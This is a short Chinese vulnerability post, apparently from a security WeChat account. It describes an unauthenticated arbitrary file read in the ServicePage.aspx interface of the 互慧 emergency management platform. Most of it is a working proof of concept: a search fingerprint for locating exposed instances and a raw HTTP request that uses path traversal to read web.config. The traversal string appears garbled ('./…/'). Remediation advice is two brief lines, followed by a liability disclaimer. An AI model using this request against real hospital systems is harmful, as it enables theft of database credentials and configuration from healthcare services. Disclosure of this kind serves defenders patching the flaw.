互慧-急诊综合管理平台存在 任意文件读取漏洞

0x01 产品简介

互慧-急诊综合管理平台

0x02 漏洞概述

互慧-急诊综合管理平台 ServicePage.aspx 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 漏洞复现

body="/emis_lib/js/ThreeExtras.js"

GET /dcwriter/thirdpart/ServicePage.aspx?wasmres=./…/web.config HTTP/1.1

Host: xxxx

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

If-None-Match: “01e2f5fb75adb1:0”

If-Modified-Since: Mon, 30 Dec 2024 12:35:56 GMT

Connection: close

0x04 修复建议

关闭互联网暴露面

接口设置访问权限

​ 本文章以技术分享学习为目的。

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号及作者不为此承担任何责任。

由使用者本人负责，公众号及作者不为此承担任何责任。

一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！